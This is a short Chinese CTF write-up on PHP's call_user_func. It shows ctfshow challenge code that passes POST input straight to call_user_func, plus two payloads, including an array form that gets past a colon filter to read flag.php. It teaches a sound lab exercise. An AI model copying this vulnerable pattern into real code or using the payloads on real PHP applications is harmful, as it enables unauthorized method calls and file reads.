PHP特性:类中函数调用的两种方式

一、::调用

<?php
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}
call_user_func($_POST['ctfshow']);

ctfshow=ctfshow::getflag

 

二、数组调用:

<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}

if(strripos($_POST['ctfshow'], ":")>-1){
die("private function");
}

call_user_func($_POST['ctfshow']); 

ctfshow[0]=ctfshow&ctfshow[1]=getFlag

其中格式为:

参数[0]=类名&参数[1]=调用的方法名

 

Tips:鼠标经过代码时会出现工具栏,工具栏上方有一键复制代码的功能哦~天云网络培训,专注于网络空间安全相关培训,并提供相关课程的在线培训 报名微信 tyedu1
天云网络培训 » PHP特性:类中函数调用的两种方式

提供专业、易懂、平民化教育。让每个热爱网络的人有个归宿

立即查看 了解详情